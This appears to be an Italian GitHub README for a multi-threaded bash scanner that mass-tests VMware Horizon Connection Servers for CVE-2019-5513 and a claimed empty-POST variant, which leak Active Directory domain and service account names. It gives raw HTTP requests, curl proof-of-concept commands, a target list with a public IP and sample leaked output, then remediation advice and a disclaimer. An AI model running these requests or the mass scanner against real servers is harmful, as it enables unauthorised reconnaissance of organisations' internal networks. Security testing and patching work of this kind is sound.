
Il VMWare Horizon Connection Server è spesso utilizzato come gateway esposto su internet verso l'ambiente desktop virtuale (VDI) di un'organizzazione. Fino a poco tempo fa, la maggior parte di queste installazioni esponeva il nome interno del Connection Server, l'indirizzo IP interno del gateway e il dominio Active Directory ad attaccanti non autenticati.
Uno scanner multi-thread ad alte prestazioni per rilevare vulnerabilità di divulgazione di informazioni non autenticate nell'endpoint /broker/xml di VMware Horizon Connection Server.
VMware Horizon Connection Server espone un endpoint API XML (/broker/xml) che può divulgare informazioni sensibili di configurazione interna senza richiedere autenticazione. Questo scanner identifica rapidamente i server vulnerabili testando due vettori di attacco:
get-configuration documentato.<?xml version="1.0" encoding="utf-8"?>
<broker>
<configuration>
<broker-service-principal>
<type>kerberos</type>
<name>[email protected]</name>
</broker-service-principal>
<domain>corporate-domain.example.com</domain>
</configuration>
</broker>
⚡ Caratteristiche
Estremamente veloce — Architettura multi-thread (50 thread concorrenti predefiniti)
Test su doppio protocollo — Verifica sia HTTPS (porta 443) che HTTP (porta 80) contemporaneamente
Due vettori di attacco — Testa il corpo POST vuoto (zero-day) + XML appositamente costruito (CVE-2019-5513)
Timeout bassi — Massimo 5 secondi per richiesta, timeout di connessione di 3 secondi
Output chiaro — Risultati con codifica a colori e risposta XML completa per gli host vulnerabili
Esportazione dei risultati — Salva tutti i risultati in un file con l'opzione -o
Nessuna dipendenza — Usa solo curl (standard sulla maggior parte dei sistemi)
🚀 Installazione
# Clone the repository
git clone https://github.com/sudosu01/CVE-2019-5513-scanner.git
cd vmware-horizon-scanner
# Make the script executable
chmod +x broker.sh
📖 Utilizzo
Scansione di base
./broker.sh -d targets.txt
Scansione con thread personalizzati (più veloce)
./broker.sh -d targets.txt -t 100
Scansione e salvataggio dei risultati
./broker.sh -d targets.txt -t 100 -o results.txt
Opzioni della riga di comando
| Opzione | Descrizione |
|---|---|
-d <file> | File di input contenente l'elenco di indirizzi IP/hostname (uno per riga) |
-t <num> |
Formato del file di input (targets.txt)
# Comments start with #
185.171.101.236
192.168.1.100
10.0.0.50
example-vmware.com
📊 Esempio di output
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
VMware Horizon /broker/xml Vulnerability Scanner
Multi-Threaded Mode - 50 threads
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] Testing: Empty POST (Zero-Day) + Crafted XML (CVE-2019-5513)
[*] Protocols: HTTPS + HTTP (both tested simultaneously)
[*] Scanning 3 hosts...
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 185.171.101.236 | VULNERABLE | HTTPS | EMPTY_POST
Response:
<?xml version="1.0" encoding="utf-8"?>
<broker>
<configuration>
<broker-service-principal>
<type>kerberos</type>
<name>TEST-SERVER$@DOMAIN</name>
</broker-service-principal>
</configuration>
</broker>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[-] 192.168.1.100 | NOT VULNERABLE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 10.0.0.50 | VULNERABLE | HTTP | CRAFTED_XML
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] SCAN COMPLETE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Total hosts: 3
Vulnerable: 2
Not vulnerable: 1
Time taken: 4 seconds
🔬 Test con Burp Suite
Per i test manuali, ecco le richieste grezze:
Test 1: Corpo POST vuoto (Zero-Day)
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 0
Test 2: XML appositamente costruito (CVE-2019-5513)
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 115
<?xml version='1.0' encoding='UTF-8'?><broker version='10.0'><get-configuration></get-configuration></broker>
📝 Comandi curl PoC
Corpo POST vuoto
curl -k -X POST "https://target/broker/xml" \
-H "Content-Type: text/xml" \
-H "User-Agent: VMware-Horizon-Client" \
-d ''
XML appositamente costruito
curl -k -X POST "https://target/broker/xml" \
-H "Content-Type: text/xml" \
-H "User-Agent: VMware-Horizon-Client" \
--data-binary '<?xml version="1.0" encoding="UTF-8"?><broker version="10.0"><get-configuration></get-configuration></broker>'
🛡️ Rimedio
Aggiorna VMware Horizon Connection Server a una versione corretta:
| Versione | Release corretta |
|---|---|
| 7.x | 7.8 o successiva |
| 7.5.x | 7.5.2 o successiva |
| 6.x | 6.2.8 o successiva |
Mitigazioni aggiuntive:
Implementa controlli di accesso di rete per limitare l'accesso all'endpoint /broker/xml
Usa regole WAF per bloccare le richieste non autenticate verso questo endpoint
Monitora le richieste POST sospette verso /broker/xml
🙏 Crediti
Questo strumento si basa sulla ricerca dei seguenti ricercatori di sicurezza:
Scoperta originale di CVE-2019-5513 — Atredis Partners
Cory Mathews di Critical Start (scoperta indipendente)
Scoperta zero-day in questo strumento
Il vettore di attacco del corpo POST vuoto è stato identificato durante ricerche aggiuntive. La CVE originale richiedeva un payload XML appositamente costruito; questo strumento testa anche il metodo del corpo vuoto, che non richiede la costruzione di alcun payload ed è ancora più semplice da eseguire.
⚠️ Disclaimer
Questo strumento è destinato esclusivamente a scopi educativi e a test di sicurezza autorizzati. La scansione non autorizzata di sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione può violare leggi e regolamenti. Gli autori non si assumono alcuna responsabilità per un uso improprio.
📄 Licenza
Licenza MIT
⭐ Supporto
Se trovi utile questo strumento, ti preghiamo di lasciare una stella su GitHub!
| Attributo | Valore |
|---|
| CVE | CVE-2019-5513 |
| Punteggio CVSS | 5.3 (Medio) |
| Vettore | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| Prodotti interessati | VMware Horizon Connection Server 7.x precedenti alla 7.8, 7.5.x precedenti alla 7.5.2, 6.x precedenti alla 6.2.8 |
| Informazioni divulgate | Nome di dominio Active Directory, nome dell'account di servizio (account computer), hostname interni, indirizzi IP del gateway |
| Numero di thread (predefinito: 50) |
-o <file> | File di output per salvare i risultati |
-h | Mostra il messaggio di aiuto |